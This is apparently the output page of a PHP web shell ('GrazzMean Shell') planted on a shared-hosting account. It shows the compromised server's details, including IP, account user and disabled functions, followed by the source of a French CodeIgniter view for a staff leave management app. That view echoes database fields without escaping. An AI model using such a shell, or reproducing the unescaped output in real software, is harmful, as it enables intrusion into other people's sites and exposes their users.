shell bypass 403

GrazzMean Shell

Uname: Linux webm016.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 54.36.31.145
Your Ip: 216.73.216.182
User: homesquasz (91404) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : index.php

<div class="row">
    <div class="col-md-12">
        <div class="box">
            <div class="box-header">
                <h3 class="box-title">Liste des conges</h3>
                <div class="box-tools">

                    <?php if(in_array($add, $access["Conge"]->actions)){ ?>
                        <a href="<?php echo site_url('Conge/add'); ?>" class="btn btn-success btn-sm"><i class="fa fa-plus"></i>&nbsp; Ajouter</a> 
                    <?php } ?>
                    <?php if(in_array($export, $access["Conge"]->actions)){ ?>
                       <a href="#" id="exportconge"  data-toggle="modal" data-target="#modalexportconge" class="btn btn-info btn-sm"><i class="fa fa-print"></i>&nbsp; Exporter</a>
                   <?php } ?>

               </div>
           </div>
           <div class="box-body">
                <?php if(isset($msg)){ ?>
                        <div class="alert alert-danger"  >
                            <strong>Attention!</strong> <?php echo $msg; ?>.
                        </div>
                    <?php } ?>
            <table class="table table-striped" id="dataconge">
                <thead>
                    <tr>
                      <th>Date de la demande</th>
                      <th>Utilisateur</th>
                      <th>Date debut</th>
                      <th>Date fin</th>
                      <th>Total</th>
                      <th>Nature de congé</th>
                      <th>Motif de congé</th>
                      <th>Interim</th>
                      <th>Etat</th>
                      <th>Actions</th>
                  </tr>
              </thead>
              <tbody>
                <?php 
                $valide_values = array(
                    '0'=>'En Attente',
                    '1'=>'Confirmé',
                    '2'=>'Rejeté',
                    '3'=>'Annulé',
                );
                ?>
                <?php 
                foreach($conge as $d){ ?>
                    <tr>
                      <td><?php echo $d['creationdate']; ?></td>
                      <td><?php echo $d['name']." ".$d['prenom']; ?></td>
                      <td><?php echo date("d/m/Y ",strtotime($d['datedebut'])); ?></td>
                      <td><?php echo date("d/m/Y",strtotime($d['datefin'])); ?></td> 
                      <td> <?php
                      $datetime1 = new DateTime($d['datedebut']);
                      $datetime2 = new DateTime($d['datefin']);
                      
                     $countferie =$ecriture->get_count_ferie_in_periode($d['datedebut'],$d['datefin']);
                      if (($d['demijourned']=="0")&&($d['demijournef']=="0"))
                      {
                        $interval = $datetime1->diff($datetime2);
                        echo ($interval->d+1)-$countferie ;
                      }
                      elseif(($d['demijourned']!="0")&&($d['demijournef']!="0"))
                      {
                        $interval = $datetime1->diff($datetime2);
                        echo ($interval->d+1-0.5-0.5)-$countferie ;
                      }
                      elseif(($d['demijourned']!="0")||($d['demijournef']!="0"))
                      {
                        $interval = $datetime1->diff($datetime2);
                        echo ($interval->d+1-0.5)-$countferie ;
                      }
                    
                        ?></td>
                        <td><?php echo $d['libelle']; ?></td>
                        <td><?php echo $d['description']; ?></td>
                        <td><?php echo $d['interim']; ?></td>
                        <td>
                            <?php 
                            if($d["etat"]==0){
                                echo "<span class='label label-default'>".$valide_values[$d["etat"]]."</span>";
                            }else if($d["etat"]==1){
                                echo "<span class='label label-success'>".$valide_values[$d["etat"]]."</span>";
                            }else if($d["etat"]==2){
                                echo "<span class='label label-danger'>".$valide_values[$d["etat"]]."</span>";
                            }else{
                                echo "<span class='label label-warning'>".$valide_values[$d["etat"]]."</span>";
                            }

                            ?>
                            
                        </td>

                        <td>
                            <?php if(in_array($edit, $access["Conge"]->actions)){ ?>
                                <a href="<?php echo site_url('conge/edit/'.$d['idconge']); ?>" class="btn btn-info btn-xs"><span class="fa fa-pencil"></span> Edition</a>
                            <?php } ?>

                            <?php if(in_array($delete, $access["Conge"]->actions)){ ?>
                                <a href="<?php echo site_url('conge/remove/'.$d['idconge']); ?>" class="btn btn-danger btn-xs"><span class="fa fa-trash"></span> Supprimer</a>
                            <?php } ?>

                            <?php if($d["etat"]==1){ ?>

                                <?php if(in_array($print , $access["Conge"]->actions)){ ?>
                                    <a href="<?php echo site_url('conge/pdf/'.$d['idconge']); ?>" class="btn btn-success btn-xs"><span class="fa fa-print"></span> Imprimer</a>
                                <?php } ?>

                                <?php if(in_array($cancel, $access["Conge"]->actions)){ ?>
                                    <a href="<?php echo site_url('conge/annuler/'.$d['idconge']); ?>" class="btn btn-warning btn-xs"><span class="fa fa-ban"></span> Annuler</a>
                                <?php } ?>

                            <?php } ?>
                            <?php if($d["etat"]==0){ ?>                                
                                <?php if(in_array($confirm, $access["Conge"]->actions)){ ?>
                                    <a href="<?php echo site_url('conge/confirm/'.$d['idconge']); ?>" class="btn btn-success btn-xs"><span class="fa fa-check"></span> Confirmer</a>
                                <?php } ?>
                                <?php if(in_array($reject, $access["Conge"]->actions)){ ?>
                                    <a href="<?php echo site_url('conge/reject/'.$d['idconge']); ?>" class="btn btn-danger btn-xs"><span class="fa fa-times"></span> Rejeter</a>
                                <?php } ?>
                            <?php } ?>
                        </td>
                    </tr>
                <?php } ?>
                </tbody>
                </table>
                <div class="pull-right">
                    <?php echo $this->pagination->create_links(); ?>                    
                </div>                
            </div>
        </div>
    </div>
</div>
<!------------------------------------------------------------------------------------------>
<?php if(in_array($chart, $access["Conge"]->actions)){ ?>
    <div class="row">
        <div class="col-md-6">
            <div class="box box-default">
                <div class="box-header with-border">
                  <h3 class="box-title">Statistique</h3>

                  <div class="box-tools pull-right">
                    <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
                    </button>
                    <button type="button" class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
                </div>
            </div>
            <!-- /.box-header -->
            <div class="box-body">
              <div class="row">
                <div class="col-md-8">
                  <div class="chart-responsive">
                    <canvas id="pieChartConge" height="150"></canvas>
                </div>
                <!-- ./chart-responsive -->
            </div>
            <!-- /.col -->
            <div class="col-md-4">
              <ul class="chart-legend clearfix">
                <li><i class="fa fa-circle-o text-red"></i> Rejeté</li>
                <li><i class="fa fa-circle-o text-yellow"></i>Anulée </li>
                <li><i class="fa fa-circle-o text-green"></i> Confirmé</li>
                <li><i class="fa fa-circle-o text-gray"></i> En attente</li>
            </ul>
        </div>
        <!-- /.col -->
    </div>
    <!-- /.row -->
</div>
<!-- /.box-body -->

<!-- /.footer -->
</div>
<!-- /.box -->
</div>
<div class="col-md-6">
    <div class="box box-default">
        <div class="box-header with-border">
          <h3 class="box-title">Paramétre statistique</h3>

          <div class="box-tools pull-right">
            <button type="button" class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i>
            </button>
            <button type="button" class="btn btn-box-tool" data-widget="remove"><i class="fa fa-times"></i></button>
        </div>
    </div>
    <!-- /.box-header -->
    <div class="box-body">
      <div class="row">

        <div class="col-md-6">
            <label for="datedebut" class="control-label"><span class="text-danger">*</span>Date debut </label>
            <div class="form-group">
                <input type="text" required name="datedebut" value="" class="has-datepicker form-control" id="datedebutchart" />
                <span class="text-danger" id="debuterror"></span>
            </div>
        </div>
        <div class="col-md-6">
            <label for="datefin" class="control-label"><span class="text-danger">*</span>Date fin</label>
            <div class="form-group">
                <input type="text" required name="datefin" value="" class="has-datepicker form-control" id="datefinchart" />
                <span class="text-danger" id="finerror"></span>
            </div>
        </div>
        <div class="col-md-12">
            <button type="button" id="sendchartconge" class="btn btn-success">
                <i class="fa fa-check"></i> Envoyer
            </button>
            <button type="button" id="sendallchartconge" class="btn btn-success">
                <i class="fa fa-check"></i> Tout
            </button>
        </div>
    </div>
    <!-- /.row -->
</div>
<!-- /.box-body -->

<!-- /.footer -->
</div>
</div>
</div>
<?php } ?>




<!------------------------------------------------------------------------------------------>
<div class="modal" id="modalexportconge" tabindex="-1" role="dialog">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title">Exportation</h5>
        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
      </button>
  </div>
  <div class="modal-body">
    <div class="col-md-6">
        <label for="datedebut" class="control-label"><span class="text-danger">*</span>Date debut </label>
        <div class="form-group">
            <input type="text" required name="datedebut" value="" class="has-datepicker form-control" id="datedebutmodal" />
            <span class="text-danger" id="debuterror"></span>
        </div>
    </div>
    <div class="col-md-6">
        <label for="datefin" class="control-label"><span class="text-danger">*</span>Date fin</label>
        <div class="form-group">
            <input type="text" required name="datefin" value="" class="has-datepicker form-control" id="datefinmodal" />
            <span class="text-danger" id="finerror"></span>
        </div>
    </div>
    <div class="col-md-12">
        <label for="usersmodal" class="control-label"><span class="text-danger">*</span> Utilisateur</label>
        <div class="form-group">
            <select name="usersmodal" id="usersmodal" class="form-control" required>
                <option value="0">selectionnez un utilisateur</option>
                <?php 
                foreach($all_users as $user)
                {

                    ?>
                    <option value="<?php echo $user['id']; ?>"><?php echo $user['nom'].' '.$user['prenom']; ?></option>
                    <?php
                } 
                ?>
            </select>
            <span class="text-danger" id="typecongeerror"></span>
        </div>
    </div>
    <div class="col-md-6">
        <label for="typeconge_idmodal" class="control-label"><span class="text-danger">*</span> Type conge</label>
        <div class="form-group">
            <select name="typeconge_idmodal" id="typeconge_idmodal" class="form-control" required>
                <option value="0">select typeconge</option>
                <?php 
                foreach($all_typeconge as $typeconge)
                {

                    ?>
                    <option value="<?php echo $typeconge['id']; ?>"><?php echo $typeconge['libelle']; ?></option>
                    <?php

                } 
                ?>
            </select>
            <span class="text-danger" id="typecongeerror"></span>
        </div>
    </div>

    <div class="col-md-6">
        <label for="etatmodal" class="control-label"><span class="text-danger">*</span> Etat</label>
        <div class="form-group">
            <select name="etatmodal" id="etatmodal" class="form-control" required>
                <option value="-1">Selectionnez une Etat</option>
                <?php 

                $states = array(
                    '0'=>'En Attente',
                    '1'=>'Confirmé',
                    '2'=>'Rejeté',
                    '3'=>'Annulé',
                );

                foreach($states as $key => $state)
                {
                   ?>
                   <option value="<?php echo $key; ?>"><?php echo $state; ?></option>
                   <?php

               } 
               ?>
           </select>
           <span class="text-danger" id="typecongeerror"></span>
       </div>
   </div>
</div>
<div class="modal-footer">
    <button type="button" class="btn btn-primary" id="exportcongeBtn">Exporter</button>
    <button type="button" class="btn btn-secondary" data-dismiss="modal">Fermer</button>
</div>
</div>
</div>
</div>
© 2026 GrazzMean